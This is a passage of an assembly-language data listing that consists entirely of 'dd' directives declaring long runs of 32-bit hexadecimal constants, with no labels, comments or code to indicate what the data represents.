dd 20C58BC4h, 0F5E27058h, 90C1F66Bh, 0AD7D74h, 45C03AE0h
dd 0A2318375h, 6BB97309h, 6E308054h, 91193C2Ah, 0AC2410h
dd 0F412FD55h, 1823260h, 43EEC508h, 0ABC0EC72h, 0B4C29DD7h
dd 3B4AD201h, 12DC3093h, 0C514CCh, 36B0B32Dh, 452B6113h
dd 0DDD75201h, 6D539F86h, 0B89032E0h, 1E6701D0h, 566612C4h
dd 81307CB9h, 52EB5D80h, 144095E8h, 0D4EA1D14h, 0F931BD80h
dd 7A1E60C0h, 0D20BC9E1h, 1D077D90h, 0F88804ADh, 3008414Ch
dd 29C2E050h, 0E07BA7BFh, 97C705F3h, 29412820h, 331CE8D0h
dd 7F44AF63h, 30F85D88h, 3EBEA081h, 39F06F6Ah, 1A6B0BE8h
dd 0C098976h, 612DB053h, 0AD12C1BCh, 5547EE02h, 0D4057096h
dd 0E4F6C10Ah, 1384F4h, 7B28E0BEh, 6DE1291Ah, 5A801894h
dd 0C365CB3Ch, 61F700B5h, 0E5CD9A85h, 0D81FCE7Ah, 40966ECFh
dd 0D383F480h, 12950093h, 0D615B64Fh, 1A7773C9h, 71D26703h
dd 1B0CAC7h, 7C164A18h, 20247D17h, 0B163C114h, 0FEF3B519h
dd 11942830h, 4D6A0024h, 1A2BC35Eh, 0C00E8475h, 418D3BA2h
dd 18DEF07Fh, 80E8D0h, 866A5BC7h, 78FFB57Ah, 8774CB3Dh
dd 9D760305h, 778A146h, 22AE6D1Ch, 0FD155017h, 68C04AC6h
dd 0EFE66BB3h, 2C400567h, 81B2FA3Dh, 2049F4C8h, 0C830C6FCh
dd 98B7A9BEh, 7639C1D3h, 0CF921E6Bh, 0C99C1001h, 0C3FD162Eh
dd 0F48E21BFh, 0B24F0357h, 66F846E0h, 39021829h, 33EBBC23h
dd 374490F1h, 0F9A91EACh, 1851007Ch, 6216F781h, 0A2E3CD02h
dd 0AE4B1D64h, 7C85878Ch, 223B4C70h, 72CB18B2h, 11B6A01Ah
dd 0B7099A06h, 2A318299h, 4660CCC7h, 0DECA019Dh, 14C9CEC6h
dd 0CD8E209Eh, 0CF695BEDh, 890C93A0h, 0BC5ACB09h, 0B52780CFh
dd 8DE760h, 52150B5Dh, 53325614h, 7558D563h, 41C6EEh, 303BA4B7h
dd 3A2240ABh, 898BE100h, 0FA4B6CBEh, 16A30A1Dh, 196C4D23h
dd 20C506Bh, 4922212Bh, 166A104Fh, 26CE275h, 55B112C9h
dd 14A45032h, 10FF404Ch, 0A105A851h, 0E11062D8h, 18544B99h
dd 0E30A1494h, 8164D9Bh, 0B5D0FD01h, 688A7B6Ch, 2464ED09h
dd 0F6C400A7h, 0AE8DFE80h, 25602100h, 0CAB76BA8h, 0FC42E9FAh
dd 2B2F20C2h, 0BE009B27h, 88AEC62h, 1631B7FBh, 73F37FAh
dd 200EA0C6h, 67E56BE7h, 41C92000h, 0ECFFAE26h, 84E00295h
dd 0F37CFDD6h, 0E2009C44h, 946C1178h, 0A1AA9A38h, 8015D4F0h
dd 129F1047h, 13040477h, 96ED2EA2h, 289DA481h, 0C680E1BBh
dd 74879A8Eh, 990391C7h, 0D3C162BDh, 81E0D0B9h, 0E288A0FBh
dd 190500C8h, 285EC95h, 93077859h, 0EF9FD535h, 14557210h
dd 0E66A0020h, 8CED7F86h, 957B6DFDh, 6D19C22Eh, 6885CB03h
dd 9D78E8EAh, 8AA40C0Dh, 0EDB15EFDh, 8900D4A4h, 78329DD3h
dd 610D4569h, 0BFF6C86Bh, 87F82406h, 5D71300h, 27BE4DDh
dd 0F8E7549Dh, 0B8CF55FCh, 7C2993E0h, 0E1B30CC1h, 8119D2D0h
dd 8E9A302h, 0A2ADD3C7h, 0AE2A9DA4h, 0C686A088h, 445AB3h
dd 5BCB08BEh, 54D5ABFAh, 5D0CF00h, 0FCB911BFh, 76B9C03Bh
dd 1AE43502h, 52373909h, 17280075h, 0FF09E92h, 0ECA0A94h
dd 7BCB68E0h, 823D675Fh, 10FBB0FCh, 97F7973h, 9C030B18h
dd 25CE6C80h, 0C1694D1h, 6C02AECCh, 80579DCBh, 0B14DEC3h
dd 0ED3D00A4h, 244B6A7Ah, 209E1D6h, 84A2DA6Bh, 5E871Ch
dd 9204489Ch, 9400AA74h, 0D7F3BDE7h, 0D70CB77h, 0DFF4AED4h
dd 0AFDED018h, 85D3C000h, 352EA19Fh, 49D161DAh, 32D2D5C7h
dd 0CDFE18D4h, 0D3A819h, 0EB325B41h, 0F377BA5Ah, 0A929B764h
dd 43BD1180h, 7B6EC0CAh, 9D16E88Ch, 6BCCC607h, 0C953BA83h
dd 8A3101B5h, 0D0BC489Fh, 366AC827h, 0F367F40Ch, 0BF21B9h
dd 0D58597EAh, 4673D7C6h, 87E9D01h, 145174E2h, 88C8E820h
dd 47006C76h, 3D6BFB75h, 2D24C9h, 0D1DD1BA4h, 0D38539BAh
dd 4C4C9548h, 1075C84Ch, 0F3760857h, 4E7880A2h, 7B92B9EFh
dd 0A1534800h, 50BAB5C7h, 36380030h, 6FCEFF98h, 81327E15h
dd 0C04D5059h, 0DA7D58h, 7B80C243h, 101973CBh, 9D241200h
dd 0D78AA1FDh, 37F49075h, 40B9D5CCh, 0A51310FBh, 3356C3Dh
dd 7C0C7FB2h, 88C1C07Eh, 0F08C985Ch, 4ECE655h, 68BDC6A2h
dd 2CECC875h, 0DE4C40h, 85D53E9Bh, 129E7ED2h, 0DEDA31Eh
dd 3686BB03h, 8403E50Bh, 12B20F55h, 40209DE9h, 0B98D5280h
dd 2800B330h, 19121C1h, 0C868BCBh, 1A31CEC7h, 0AE882531h
dd 5D40053h, 42C939AAh, 0EBEA222Fh, 905D7601h, 0F399CC61h
dd 214DA0A6h, 0FE3500D0h, 0CD10240Eh, 0F0857326h, 0DC08EB13h
dd 6153425Ch, 219D6A21h, 0A5577180h, 0C5F8B03Dh, 15E1FD01h
dd 0AB702995h, 8AB6C860h, 34444066h, 0B4CE54FCh, 86E839A7h
dd 4FC70281h, 91119A0Dh, 377BCCA0h, 0C449A3C9h, 0ED2C889Ch
dd 0B8615260h, 0BF09A08h, 0D8EAFAECh, 17FC3C31h, 39C246h
dd 82ADAEE8h, 113DED0Eh, 78676301h, 31973A74h, 635D0F7h
dd 31C460FDh, 0A0ACC5F4h, 75801B00h, 20396F23h, 1C610105h
dd 46D2558Bh, 0BB52F07Ch, 399B91DEh, 9A0CC0B1h, 26D0CAE9h
dd 0AE3DC05Ch, 5F05DB8Fh, 0F42D43B3h, 35700C8h, 2AB44B60h
dd 98FD8D95h, 0C68A8094h, 95F70E00h, 3F07E75Ah, 12B100ECh
dd 5C249158h, 6C0B1029h, 0CB4C83E3h, 0C166C0A8h, 0DDF50434h
dd 80DEB5D5h, 0D2A08304h, 1E9DA118h, 43E7B9h, 2B22E15Fh
dd 0E996D334h, 2A3D4E04h, 5C82B8B2h, 23D8E006h, 4CFD0117h
dd 0FEFAC76h, 787C6275h, 9FDDA9C0h, 1A2CEE3h, 936791A4h
dd 0F45763FDh, 9473B2EAh, 0BFAA0A00h, 6F69D414h, 8F3584Dh
dd 0E186ED18h, 0DF7D3B6Ah, 0A6A2C039h, 0C5007475h, 0CB058AFh
dd 27E80149h, 9D4CBDB2h, 4DC1801Dh, 0F2F681A9h, 509E3F79h
dd 819D713h
dd 8A80C198h, 107E0A34h, 1EB200A5h, 0B43FB894h, 0CE0093F3h
dd 552DEA6Dh, 0F154A9h, 95C4DB45h, 121722E7h, 76B153Ah
dd 9A2CDCE9h, 8EF37FC0h, 19970F0Bh, 38E0C480h, 43585A2h
dd 0E3A45300h, 0E8FDD498h, 0A5DD0D9Ch, 0C0A9249Dh, 7B72E26Ah
dd 2ADC8100h, 619F351Ah, 0A0F0226h, 98D27E8Ah, 0D84F6469h
dd 211D4B75h, 55C73E0h, 37552607h, 0A889EEC0h, 816D00D8h
dd 34626BC7h, 0FD09B535h, 27BCF378h, 46C04D2Ch, 1C044AEh
dd 41C3EFDAh, 8BBACAC7h, 13A3B721h, 44D4E2D8h, 993D09E0h
dd 0DC8939BCh, 40AFC804h, 5D2916F4h, 0FEE90F01h, 74223F55h
dd 0EC65B2D1h, 683BDC4h, 327100CBh, 0D6923085h, 0C114E7B4h
dd 3BB414C0h, 66610083h, 0F77571CAh, 2090CFh, 354FEAD5h
dd 485E7CFFh, 21DF5618h, 0BFED10h, 264D5460h, 0A5D814EBh
dd 0C99FB719h, 0F7ED69h, 2D407D91h, 45912BDDh, 29C8491Eh
dd 984CC40Bh, 47E4C8h, 0D9146719h, 5925BBC8h, 8887A80Eh
dd 4271C00Bh, 8DB80Eh, 0CE3B5C19h, 0D28ED314h, 94C43950h
dd 449A3401h, 0CBD00175h, 0BC415E9h, 0EE3C13B5h, 57F432A7h
dd 92F58D80h, 877E540Ch, 30B1E52Ch, 70581D02h, 5C44FDh
dd 8CB08978h, 42190AFFh, 382AA607h, 0BA60F8C7h, 597A473h
dd 0F375937Ch, 0A3D440BBh, 0EC5BEBFEh, 6C1DDB00h, 0D8170CE7h
dd 0BBAD2449h, 290800A4h, 4D27476Bh, 0D0EFDF26h, 0FA9F4460h
dd 50F3F270h, 0D9EFF0h, 4F5868EEh, 9824931Ch, 0B259B30Fh
dd 577FA02Eh, 40F9B8h, 93E1A343h, 7475576h, 0BC58ED2Ah
dd 0DD6B5B01h, 0C77C3425h, 0E9FBFC8h, 21B3848Bh, 50CB3B00h
dd 7212DA75h, 40427DBCh, 72F3B21Ah, 89D00044h, 0BF9943AFh
dd 35885BECh, 7AF42Ah, 4651954Eh, 0EB8230F5h, 0DB3FC773h
dd 97B78DDAh, 6442D9BCh, 0E6E320BAh, 5C00A559h, 8C8883Ch
dd 2E5EBBEAh, 40089BB7h, 9949D775h, 2298A850h, 79605131h
dd 4980A6F3h, 0A21E016h, 4D015371h, 0A97EEC5Fh, 0E300C66h
dd 76590B11h, 6891CFC7h, 4329Eh, 3A5494B8h, 7453F7Ch, 2B169DC7h
dd 0A23780EFh, 742CE33Bh, 0D14084F3h, 0FC2AD73h, 60A8E51Ch
dd 0F26819E6h, 54E65A00h, 9B71FC39h, 5EA6004Dh, 1494D458h
dd 56043D76h, 6D7E4BD9h, 0A9905497h, 4866B605h, 4DCEECB7h
dd 0CEA429E0h, 0B27E505Dh, 9CCAA229h, 949CCB00h, 1EEF34C6h
dd 0C0034B7Bh, 0D23ED70Dh, 64B85373h, 9300FCB9h, 28C042D9h
dd 8041FF1Eh, 8E10B5D3h, 29C0C5FDh, 0A1365323h, 0CBD5001Dh
dd 0FC2A3096h, 603969BAh, 557505CAh, 985D2236h, 0E4274812h
dd 10E430C4h, 6AC8267Dh, 0D23F8598h, 0B4108711h, 94B704AFh
dd 2C6004C9h, 992284B0h, 0CB1498D5h, 0B414BF28h, 24AF5D00h
dd 632C2309h, 2D7598h, 860AB1CEh, 9D34CDB5h, 5D99C01h
dd 0C8530E87h, 62BCA5F4h, 8C52B04Ch, 80356A23h, 0AC4809h
dd 396BDA89h, 0AEE59899h, 0C3941B48h, 0A0917880h, 1F701023h
dd 80A438E1h, 0AE849030h, 7302C574h, 9D1AD712h, 72B60027h
dd 86091E7Ah, 80DBF1E9h, 0EB639E8Ch, 496F0095h, 0E24BE405h
dd 0D6FB161Eh, 30FC873h, 0D880921Ch, 86BD072h, 3798C987h
dd 15210582h, 118040A3h, 0B67214E1h, 8E189C95h, 0C616D880h
dd 356C7F04h, 8B813AE3h, 0D1F6C775h, 7D65002Ch, 0D774EC9Ah
dd 3E4CBF7Bh, 0CBC040B8h, 0CD601896h, 3C486D20h, 870B4D8Eh
dd 4013D4A9h, 0C29B2000h, 6CF109Ch, 74E803F8h, 16364A6Eh
dd 2381881Dh, 100151F5h, 70750C3Fh, 644FF088h, 0D42C10A5h
dd 0B82D3C6Fh, 7534B300h, 80BF3C9Fh, 4EF0E607h, 4780C7B0h
dd 0D1677h, 38D0C276h, 269D5650h, 3464BCA8h, 30ED9200h
dd 0F9C8C0EAh, 40F40195h, 0F5E78148h, 41D86074h, 0A0B5D928h
dd 0A1D0FC30h, 144CBA72h, 0B0064850h, 0C9119CD0h, 0D2B700B3h
dd 3ECC1D7h, 24E7B4Ch, 0EE9718A1h, 4066D02Ch, 43928F00h
dd 3A8031C6h, 7C6B07E3h, 0CB70ACB2h, 2C9DD687h, 0EB0096B1h
dd 0C15F68A3h, 2EDF50D9h, 16B92453h, 0A1DF0145h, 45ADA7F6h
dd 1C3183B8h, 227C3948h, 4E6B004Bh, 81945429h, 0CB0FDD76h
dd 49CF9E64h, 0F4D70004h, 1EFA92CDh, 41FD358Ch, 0AD68942Bh
dd 41D5E103h, 410C5508h, 801F9D14h, 8270DC69h, 0F95A67h
dd 0E6BC599h, 59D1333Eh, 0EC98DB68h, 20AB3209h, 1ACF45DCh
dd 8D5B0A7Eh, 1F908E7Fh, 0D02FC050h, 792141D7h, 0A0B06303h
dd 0AA2848h, 97773118h, 0BA834FECh, 39124A02h, 40853AD1h
dd 26D849C4h, 1CE440h, 387FD04Eh, 7003F45h, 0A5189D0Ch
dd 3DE664Dh, 5CB20E52h, 403DFC61h, 10ACA0F6h, 41E1EDC0h
dd 8067D1A8h, 3315AB18h, 61F9D0FDh, 0CB78A852h, 0F439002Ch
dd 19CD8094h, 0E0898138h, 0D3FD7530h, 0E5AF033Bh, 1A6FCA0Dh
dd 2180E820h, 1508A963h, 0C89C4799h, 89002271h, 0B188ADD8h
dd 5ABC402Eh, 0C45F7008h, 9AB7F03Eh, 149E08B0h, 9EB9C6C0h
dd 430A001Bh, 0AD5E1776h, 25BD34Dh, 449CA030h, 29AC0012h
dd 5157D2C9h, 161EC706h, 7D44CAFEh, 78A23A5Ch, 6766D00h
dd 6C029F10h, 0D4100090h, 7F00A435h, 941896BDh, 0A89027D5h
dd 862D0207h, 1DF23B99h, 1CA8705Ch, 0E4CD31D3h, 38A000ACh
dd 0D02A597Bh, 6F630501h, 5D49C97Eh, 7615CC24h, 66E61462h
dd 0CFE7201Eh, 0E80092B1h, 0C5D5A7E3h, 6210029h, 0F7530915h
dd 0D1049CB2h, 4E22EE2Eh, 5040B4CDh, 80A8CB48h, 9D7865D1h
dd 0C8D91830h, 1F43B6Ch, 0DACEF755h, 0BBC5C850h, 7014A618h
dd 64046424h, 2A4749EEh, 0D37CB0EDh, 0D21939FAh, 5E08F2CBh
dd 0E58B218Eh, 35556162h, 9400E444h, 0C22F5C12h, 7C310D62h
dd 0D4584C25h, 189CB681h, 7848FF74h, 0CE49105Ch, 9172209h
dd 2E54C882h, 104A6C03h, 340410h, 0A9B0B4Bh, 3226375h
dd 7D1F973Fh, 0A097088Ch, 42FB2735h, 0F2009670h, 258FD87Eh
dd 382CFC84h, 0F63B2B87h, 26DEE683h, 0FDF0EF05h, 921E2ECBh
dd 8D8B1C07h, 0E6B08381h, 0E0B3A8BFh, 0D022008Ah, 5BEA6074h
dd 7200F443h, 7AD26410h, 6FCCB5h, 4174B711h, 263C5609h
dd 0CD658E0Fh, 3527E06Ch, 46713A9h, 384881D9h, 0B7CEC02Bh
dd 17DA653h, 345DF60Ch, 0FB3170h, 64B24C19h, 9974EBD3h
dd 7718FA61h, 76D06749h, 38E300CDh, 0B35AC241h, 0F300F808h
dd 774E8303h, 302D8F2h, 19FD073Ah, 4800C944h, 0F3859B11h
dd 76B76EBh, 5B36138Fh, 6FA780A8h, 0FA39210Dh, 0D35C9BFDh
dd 0C14CE079h, 77DD0803h, 0C82634Bh, 8047AD06h, 66BF9286h
dd 8EF50014h, 0E7D31DCEh, 7160315Dh, 824DD0C9h, 45A60656h
dd 19668D5Ch, 1D082B07h, 61402F32h, 99CE16h, 0FD5E18Bh
dd 74FBAEFAh, 5D350E00h, 0DA138D78h, 0F207781Ch, 4711C184h
dd 868328E8h, 0CE583480h, 0CC760F58h, 5CE02DE7h, 55E1AC6Eh
dd 70C84400h, 455E4C24h, 0D2BA0039h, 320990B2h, 3A60B530h
dd 17232719h, 9F7CE6h, 2B912EC4h, 5C99DACAh, 14774500h
dd 944B371Fh, 0A3ED0071h, 39B0CEC8h, 3D404F04h, 0B2C700A9h
dd 3A47430Fh, 0EFF0B661h, 0E2E8B3Ch, 0DE49BEh, 13B1AA24h
dd 0FC9A4839h, 0ACDCB700h, 0ED9B373Dh, 501E6FFAh, 11033330h
dd 64BCAF5h, 8467CC28h, 1308188Fh, 419B65h, 0A8F52645h
dd 7E60E897h, 0BD14C068h, 394EAACh, 4BE765Bh, 0A00121AFh
dd 0AB3940DFh, 818324B1h, 4350B887h, 0D4DE5800h, 5BEB6F5Ah
dd 40683945h
dd 0B32D18E0h, 0A43DBADCh, 28891E32h, 0A04D9E3Ch, 11CBCC1Dh
dd 158A829Ch, 9AA481A8h, 76F597B7h, 0B59B4840h, 5C108451h
dd 0DD1F341Eh, 0C8A0588Dh, 366252B6h, 363920E8h, 0C076CC21h
dd 0C7AB4E9Ch, 467ACF1Eh, 7B14C4C3h, 54681811h, 5D41F130h
dd 0A4059FF4h, 17313C24h, 51A248C0h, 64E903B6h, 2E3210E1h
dd 5BC2C900h, 2C531129h, 0CA340F38h, 812065F1h, 7C620F93h
dd 78C638h, 0B43946D6h, 0DE54B7h, 0BE5EA868h, 22C6349Dh
dd 80272D38h, 0E7FD1A4Dh, 0E6F247BBh, 4CCA54A1h, 8CDB002Dh
dd 0F8A3609h, 0C503C423h, 0B242D6B4h, 919E48h, 96C85540h
dd 883FD7FBh, 688AD901h, 6B69CE25h, 3C332C4h, 0C67BD675h
dd 82A7B77Ah, 0B480B411h, 3AB6656Ch, 22004148h, 72303A49h
dd 23C9027Dh, 4C6D7C90h, 6A70B8A0h, 0FF1E2476h, 0A805DE4h
dd 0E52CD7EFh, 922301E9h, 43EB19E0h, 5DF8830Eh, 0B875E89Ch
dd 3B2497Ah, 67114568h, 5009D12Ah, 1BEB835h, 30483A2Ch
dd 1C7FD180h, 0A5671A77h, 0FDF31603h, 90C26EE0h, 7B40365h
dd 7319A7E1h, 8F273037h, 4D1A6A41h, 1D10383Eh, 0DA224104h
dd 0F708098h, 2CEF8B54h, 0B46E003Dh, 0D3E13E1Eh, 2D06AC53h
dd 5FDEEC22h, 8C6B2228h, 0D9A44h, 74695123h, 50B367C9h
dd 950005E6h, 0FA1EF1DFh, 3FC3903Ah, 0B6007ED6h, 0DB5E3B40h
dd 0BD0427DEh, 15815778h, 714B5F80h, 0CDAF0066h, 864CB1F7h
dd 1CF0ADB7h, 22DD2F02h, 830C0EDEh, 0B8339D99h, 0F9FC156h
dd 5A328B9h, 9260009Eh, 450BCAF0h, 82369700h, 106F5F08h
dd 0EE0E7817h, 0DE9B0086h, 65F9CA78h, 0B512464Ch, 0D3010515h
dd 5FFA27B6h, 3CADC730h, 0F600B498h, 30D15108h, 4F007C8Dh
dd 4E44FDAEh, 53637h, 964AAB0Bh, 8C39D1B7h, 8EEE0F0Fh
dd 0A698C0E6h, 14536382h, 0B8187302h, 97F6FD00h, 0CC34461Dh
dd 4E55EF01h, 0E18D6F16h, 3829F20h, 299C51D1h, 86C0A39Eh
dd 8A001C2Bh, 0D021AD83h, 0B0192Fh, 22C358B1h, 63DB7A3Ch
dd 3909BA38h, 0EC528189h, 0EE2C7031h, 3BC920h, 8B729458h
dd 0C528EF6Eh, 5F8D7B00h, 0D90F69E8h, 1076000Eh, 4E3EF96Ch
dd 59000DA1h, 4604D6FDh, 7B99EB68h, 6F960036h, 0EA952884h
dd 0FB0012E0h, 511174A4h, 1B54C83Fh, 0E01DC936h, 5545E616h
dd 0AF6B8703h, 910998FCh, 22F501DBh, 0B79446F6h, 0BAD62082h
dd 5A004478h, 0B923E34Fh, 6D5B6Ch, 576F0811h, 0C9BB6A8Dh
dd 4B0FB24h, 22A9CB00h, 16677B27h, 0EF3144h, 2A1D82D6h
dd 37AA88Bh, 0A1335101h, 5A857E1Eh, 736DDDE0h, 178C2442h
dd 3363050h, 0D33C0EA7h, 8329BC81h, 89D02A9Ah, 0E4A1D0A5h
dd 92080162h, 48A9DA4Ch, 0FF94212Bh, 510D6DF0h, 33CAF800h
dd 0D12497BCh, 7FAD009Ch, 0FB6322EBh, 61E3D7Eh, 803D9AF7h
dd 5B847556h, 6BDDB5h, 0C8C92EC5h, 4627C38Fh, 7898B930h
dd 3AE70C5Ah, 32870DEFh, 0C094924Dh, 99FE54DCh, 14F63500h
dd 491B38EAh, 0D36F0013h, 82BDB815h, 20048E91h, 601EB77h
dd 433B84C0h, 585262ACh, 63E0265Eh, 0C01F955h, 916B6179h
dd 0DAE9E1CEh, 2981C531h, 0A3B10E97h, 0C1118EE0h, 0BA9E0A4h
dd 13A1CD55h, 0E3233D8h, 0FF5814h, 8DABEE5Ah, 0AF01A636h
dd 20D9F8FFh, 5CE54D4Ah, 37C824h, 0BBB4BACAh, 2E816132h
dd 18FC9C07h, 7EC02B98h, 334B98Eh, 12222A68h, 24CEA507h
dd 26807B48h, 0BF07C113h, 6C49F9Ah, 0C8B9C080h, 0A0953044h
dd 0E1F26711h, 0C400DEFCh, 98D65364h, 6804E2h, 0D245C359h
dd 2C5BE082h, 56F06B01h, 26C592A0h, 54A6C880h, 0EF17E8F8h
dd 0A7B0830Ch, 0DB93Ch, 15B666ECh, 22944A38h, 4834DC3Fh
dd 5ABC0FD3h, 7B5380D6h, 0C0A93FB6h, 0D7070988h, 8209833Ah
dd 4CB85Dh, 0BFE90E7h, 1ED00D4h, 31CB498Bh, 91032794h
dd 80D9F97Eh, 0CC0B433h, 801A2477h, 4A7CA8B1h, 3D71F701h
dd 0FE76B4ECh, 18FBC680h, 93914B08h, 0CBF35200h, 319EE746h
dd 1C6B00D4h, 827834B5h, 0D60086DDh, 62D73926h, 7A764B64h
dd 2F0F00Bh, 0FCE5F65Ch, 8077D9D0h, 0FF570273h, 0BF5B002Dh
dd 5EB489EFh, 4700D879h, 8B8A58D6h, 0FC42E06h, 44F62D0Ah
dd 0C01EBDEEh, 46146655h, 2C756E24h, 8925B700h, 0E933D4F2h
dd 3FE0EF73h, 0B12314B3h, 8C07B831h, 0F0EFA829h, 46CDF405h
dd 2BD46500h, 173B52A0h, 16AF001Bh, 0C29BBF73h, 5F071E41h
dd 0FD7DE39Eh, 17D6FC00h, 4C9F00E7h, 0AFC9EDB9h, 3000C1D4h
dd 11ADF5C3h, 1884BA8h, 7FFD4017h, 0C03BABA0h, 0CC14A28Eh
dd 2AC0AECh, 0FC9AC841h, 381D60C5h, 5AF90FBFh, 190987A0h
dd 1266FF03h, 0B3C02CC0h, 0D653700h, 9C56EEDEh, 0AAFC00B4h
dd 14BFBB11h, 721FB259h, 0B828DAA9h, 0C91E4700h, 55E3FB6Ah
dd 19823C33h, 1968781h, 20391727h, 62063114h, 47B950E0h
dd 42A70010h, 60781091h, 66306376h, 23621838h, 0C03F01BEh
dd 449CD746h, 705430B8h, 0B11DE901h, 139A63C7h, 1EA7120h
dd 1648C987h, 312924DEh, 0D4266054h, 8496EE24h, 146DEB01h
dd 9CD442A9h, 48A5739Bh, 0CB0108D7h, 41781EE6h, 1BD83014h
dd 6F631F01h, 0A80E289Ch, 32AC30h, 9419C5FFh, 0D607608Eh
dd 1D0238B0h, 96B9D425h, 23C9C09Bh, 0F871E3h, 0AED30919h
dd 0C38BC87Eh, 6F35A403h, 0F95A05ACh, 6420E143h, 163B007Ah
dd 8AFD131Eh, 4F003495h, 0B95201ECh, 9A7899A4h, 76DB0054h
dd 98257065h, 220007C7h, 0CE9F0375h, 3A7A64h, 0D7586A35h
dd 9979E79Eh, 500FFFCh, 78C9EF87h, 712BC2BCh, 0DEAF0CC1h
dd 0C05689A6h, 83987202h, 60AE76D4h, 59C70BE0h, 38005C27h
dd 0D97250EFh, 0A0216F9h, 7FA4765Bh, 5EFE00DCh, 0D800A98Bh
dd 5C2507B3h, 0B18628h, 3305ABD0h, 0BC9D2F4Fh, 19C4E700h
dd 0CAFC6B37h, 2D5D28B9h, 0A4E64D30h, 4106E04Ch, 8B9B58Ch
dd 8E5FA117h, 11BAC00Ch, 89AD44E2h, 68C78B09h, 50050069h
dd 2E0E3306h, 1EC86260h, 1A8983D9h, 0E0D07077h, 0D118A40Dh
dd 9A38BBCEh, 48996073h, 2F1D427h, 710089DFh, 0E554A355h
dd 97321444h, 1C060819h, 4027AF2Bh, 1B3B409h, 0A257812Dh
dd 98C98287h, 0A93E8864h, 20809C6Ch, 0EBDC1FD3h, 4B00195Fh
dd 0C912EFC5h, 58FB8005h, 5E007648h, 0B2FC6528h, 3E00B088h
dd 0B69BA9F7h, 0EE7C2DB7h, 34788Ch, 738216ACh, 8833B35Ch
dd 9AE5FA17h, 11A61F00h, 0FEF7B989h, 7C2F0071h, 0D2E0D9CBh
dd 0A1009259h, 98B27D13h, 1E9A41DBh, 401FDDE6h, 992E0BA7h
dd 8800BE24h, 184B5CE7h, 8DE2BAh, 83C54495h, 1B91768Bh
dd 0C168631Eh, 39709E3Bh, 7A3D9901h, 0DC503421h, 1EAEC47h
dd 8BD1B9B0h, 9881B21Dh, 0F1214308h, 0FCEA00D3h, 0E7F6186Fh
dd 9F2C9840h, 0E2013CA9h, 2C35F71Ah, 0B1D0A057h, 0CC0ED73h
dd 0A94252DEh, 21C03F09h, 0E873C978h, 0E1D6076Fh, 0C207AD56h
dd 38202D94h, 52E8269Fh, 0F900C44Fh, 7FD70304h, 2B19A1A3h
dd 0C08F39Ah, 0FCDB2184h, 3A1A8002h, 767B4236h, 0F91BD9E7h
dd 992C41C5h, 4073F96Eh, 9E082880h, 98410100h, 50B5DFD7h
dd 2D070EA5h, 11E15FD3h, 0EF97BE3Fh, 0C6809806h, 1F20302Ch
dd 8C1437BCh, 1B10A254h, 2325E900h, 363D9A9Eh, 263FF8A0h
dd 7AAD14h, 47DD6003h, 8A390544h, 0F08686B0h, 0CEA9E1h
dd 576F5951h, 7DEA1DADh, 86008D75h, 0E3A0C82Eh, 0AAB8B3h
dd 9141D5E4h, 0EFCA444Eh
dd 8AB0757Eh, 3ACB6500h, 358FC664h, 202C0096h, 0A4CA0D73h
dd 0E03210Ah, 9EF06C4Bh, 0BC6AB86Dh, 0C9A70026h, 7608AD94h
dd 0E63F6668h, 0F704827Dh, 0E0504F75h, 68276CF4h, 0F004315Ah
dd 0CC60745Fh, 0AC978210h, 0D3680E30h, 0B520F171h, 0C2C0A8EEh
dd 0E15F2000h, 82548004h, 29A964D5h, 116622A5h, 442A0875h
dd 0F244E916h, 89BC449Ch, 13AF2284h, 65115D42h, 81D21B9h
dd 6190128Eh, 48BB5E84h, 11E84FB1h, 198E1590h, 0E2C52271h
dd 851E00DEh, 0E19302BCh, 323FA19Ch, 6A1B0041h, 8E2F61BAh
dd 14234816h, 79625C00h, 447DFC4h, 0AD8AE800h, 142B5DEAh
dd 0FD950048h, 5290298Dh, 0BBEE0423h, 24415504h, 0C0BFFC5Fh
dd 545C1FE9h, 0B903AAE0h, 0F619F7D2h, 988BB6h, 22183978h
dd 2C934CB3h, 8506D90Fh, 9944007Dh, 2470A1h, 11ED6E4Ah
dd 0B573DC21h, 0E37EA00h, 97EE0A14h, 42BC0076h, 75A28998h
dd 25037AB9h, 63339578h, 2117D83Ch, 1E8E0072h, 302D4380h
dd 0F01D5DE2h, 877EA952h, 0FA1DBFD0h, 7C876CE0h, 33DB1DFCh
dd 0F7680DAh, 30FD82E3h, 0E2EE93E8h, 35FFD501h, 0D34ADDD2h
dd 9031CFDCh, 1297967h, 30A217BFh, 0C0BAEF8Eh, 4912EACCh
dd 8200C00Fh, 0D61B02B3h, 7CA30003h, 238F3057h, 0D00B7B2h
dd 0EE3D3F15h, 1EC025DCh, 3E2A1B63h, 0B280312h, 0D1812B58h
dd 0DCD0E369h, 25FA70F1h, 0FC0C0600h, 0F085DFEDh, 505301EBh
dd 9A7BDB4h, 7CC1C48Fh, 3894A900h, 176A86CDh, 6D71000Ch
dd 0F20E9693h, 0F10F9E4Ch, 0C09A7AA0h, 0C05C8281h, 7EF0794h
dd 670FFF34h, 0F2ABB0A4h, 8300BE6Eh, 7D89061Fh, 1C6A3A18h
dd 403B8523h, 0A348558Dh, 0DA49A0C5h, 0E82000B0h, 6E38E9CDh
dd 58A40052h, 852889B6h, 0AB7C10A3h, 486A5E01h, 654331A5h
dd 1FBA74F4h, 83F614E1h, 9E64E94Fh, 75B5D4C8h, 1DEBFD07h
dd 20E0E7F8h, 689BA1h, 0E3892574h, 0B04EED06h, 103C6116h
dd 66789500h, 0EF67EBh, 0AEF05CF3h, 0ECDF41D4h, 60614000h
dd 0D611E0FFh, 0EBB600CEh, 9B4AF656h, 861F1A5Dh, 4080A43Fh
dd 39D41C83h, 0BAED000Ch, 0D061F946h, 540045DDh, 57EBFA22h
dd 1D0E80h, 4DF72AF6h, 0BEEE0801h, 29512400h, 94FB3055h
dd 4ED40E17h, 2D400DCBh, 32DEADE8h, 940A5E28h, 83A7F03h
dd 0B8186768h, 0A6B349h, 80932BC4h, 4DFA0E22h, 34729B00h
dd 0F99E97ABh, 0BFF31ED1h, 0C6509CDBh, 12CEAA62h, 4D1FC1B0h
dd 0E6C0D73Eh, 9AB7507h, 541C006Bh, 80F13AE3h, 951F57AFh
dd 3C40B468h, 594AFB56h, 0EB253F79h, 9C180880h, 0BBA9BE28h
dd 70867D1Fh, 0C3124D03h, 0E9A0B9E4h, 249E0h, 7CD89FBEh
dd 2DC2A70Dh, 0A4BD0526h, 0C3270639h, 928DDF8h, 33315837h
dd 9F950400h, 4FFA8D69h, 1185E60Ch, 25C7808h, 0EE3C9332h
dd 0E883FFF5h, 80ADD370h, 1E920188h, 63D6A30Ch, 3D671050h
